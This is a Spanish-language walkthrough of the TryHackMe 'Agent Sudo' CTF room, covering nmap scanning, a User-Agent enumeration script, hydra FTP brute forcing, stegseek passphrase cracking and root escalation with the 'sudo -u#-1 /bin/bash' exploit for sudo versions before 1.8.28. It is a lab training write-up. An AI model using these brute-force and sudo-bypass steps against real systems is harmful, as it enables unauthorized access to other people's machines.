Agent sudo


December 15, 20226 minutes

Bienvenido a otra sala CTF exclusiva de THM. Tu tarea es simple, captura las banderas. ¡Que te diviertas!

https://tryhackme.com/room/agentsudoctf

IP Atacante = 10.10.10.10

IP víctima = 10.10.92.221

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

❯ ping -c 1 10.10.92.221
PING 10.10.92.221 (10.10.92.221) 56(84) bytes of data.
64 bytes from 10.10.92.221: icmp_seq=1 ttl=63 time=128 ms

--- 10.10.92.221 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 127.854/127.854/127.854/0.000 ms

En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación

Escaneo de puertos (nmap)

Ahora empezamos con un escaneo de puertos

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.92.221 -oG allPort
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
-sS –min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnSkip host discovery
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   2[*] Extracting information...
   3   4[*] IP Address: 10.10.92.221
   5[*] Open ports: 21,22,80
   6   7[*] Ports copied to clipboard
   8───────┴─────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos

❯ nmap -p21,22,80 -sC -sV 10.10.92.221 -oN target

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ef1f5d04d4779506d6072ecf058f2cc07 (RSA)
|   256 5e02d19ac4e7430662c19e25848aed7ea (ECDSA)
|_  256 2d005cdb9fda8c8d880e3924f8b4f18e2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Annoucement
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
ParámetroFunción
-p21,22,80Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

Puerto 80

Hay una web con el siguiente texto en la página principal:


Dear agents,

Use your own codename as user-agent to access the site.

From, Agent R


Estimados agentes,

Utilice su propio nombre en clave como agente de usuario para acceder al sitio.

De, Agente R


Según el texto podemos usar el “nombre en clave” como “user agent”. Vemos que está firmado como Agente R, se puede suponer que los agentes tienen una letra como nombre en clave. Con curl -A "A" 10.10.92.221 podemos ver la web como Agente A, pero ir probando así hasta la z se puede hacer eterno, para eso e echo un script en python que atomatiza el proceso de las peticiones y guarda las repuestas distintas.

User-Agent o también conocido como Agente de Usuario es una cabecera de texto que sirve para identificar al usuario que entra en una página web a través del navegador.

from pwn import *
import requests, signal, time, pbd, sys, string, os

main_url = "http://10.10.92.221"
characters = string.ascii_uppercase
standard = requests.get(main_url)
different = ""
p1 = log.progress("Trying with Agent")
p2 = log.progress("Agents with different response")

for i in characters:
    headers = {
        'User-Agent': i
    }

    response = requests.get(main_url, headers=headers)
    p1.status(i)
    if response.text != standard.text:
        different += " {},".format(i)
        p2.status(different)
        f = open ('agent_{}.txt'.format(i) ,'w')
        f.write(response.text)
        print("\n[*] Result saved on agent_{}.txt".format(i))
        f.close()

Al ejecutarlo encuentra respuestas distintas con el Agente C y el Agente R

❯ python3 script.py
[*] Trying with Agent: Z
[*] Agents with different response:  C, R,

[*] Result saved on agent_C.txt

[*] Result saved on agent_R.txt

Dentro del agente_C.txt hay el siguiente mensaje


Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your god damn password, is weak!


¿Todavía recuerdas nuestro trato? Por favor, dígale al agente J sobre las cosas lo antes posible. Además, cambia tu maldita contraseña, ¡es débil!


Como dice que su contraseña es débil con hydra vamos a intentar encontrarla usando un diccionario.

Hydra se considera el software para ciberseguridad estándar para ejecutar ataques de fuerza bruta en cuentas de servicios.

hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.92.221 -t 40
ParámetroFunción
-lUsuario
-PDiccionario
-tVelocidad

Infiltración

Puerto 21

El hydra encuentra la contraseña y ya podemos conectarnos por ftp como chris, dentro hay 3 archivos: To_agentJ.txt, cute-alien.jpg y cutie.png. Con get archivo nos los podemos pasar a nuestra máquina.

Contenido de To_agentJ.txt


Dear agent J,

All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn’t be a problem for you.

From, Agent C


Estimado agente J,

¡Todas estas fotos alienígenas son falsas! El Agente R almacenó la imagen real dentro de su directorio. Su contraseña de inicio de sesión se almacena de alguna manera en la imagen falsa. No debería ser un problema para ti.

De, Agente C


cute-alien.jpg

El Agente C dice que dentro de esta foto hay la contraseña de inicio de session del Agente J. Con steghide podemos intentar ver su contenido

❯ steghide extract -sf cute-alien.jpg
Anotar salvoconducto:
steghide: �no pude extraer ning�n dato con ese salvoconducto!

No encuentra nada sin indicar salvoconducto. Para ello vamos a usar esta herramienta: https://github.com/RickdeJager/stegseek para atraves de un diccionario poder conseguir el contenido oculto de la foto.

❯ stegseek cute-alien.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "Area51"
[i] Original filename: "message.txt".
[i] Extracting to "cute-alien.jpg.out".

message.txt

Contenido del archivo message.txt renombrado a cute-alien.jpg.out


Hi james,

Glad you find this message. Your login password is censored!

Don’t ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy, chris


Hola James,

Me alegro de que encuentres este mensaje. ¡Su contraseña de inicio de sesión es censurado!

No me pregunte por qué la contraseña parece cursi, pregúntele al agente R quién estableció esta contraseña para usted.

Tu amigo, cris


Puerto 22

Ahora ya tenemos las credenciales de james y nos podemos conectar por ssh

Ya podemos ver la flag de user.txt

Escalada de privilegios

con sudo -l podemos ver que puede ejecutar como root

james@agent-sudo:~$ sudo -l
User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash

E buscado el (ALL, !root) /bin/bash en google y e encontrado que esto es porque el sudo tiene una versión menor a la 1.8.27 lo que lo hace vulnerable. Se puede confirmar con:

james@agent-sudo:~$ sudo --version
Sudo version 1.8.21p2

En el exploit (https://www.exploit-db.com/exploits/47502) lo que pone es que podemos ejecutar cosas con sudo de la siguiente forma:

sudo -u#-1 /bin/bash

De echo ejecutando eso ya somos root y podemos ver la flag en el /root/root.txt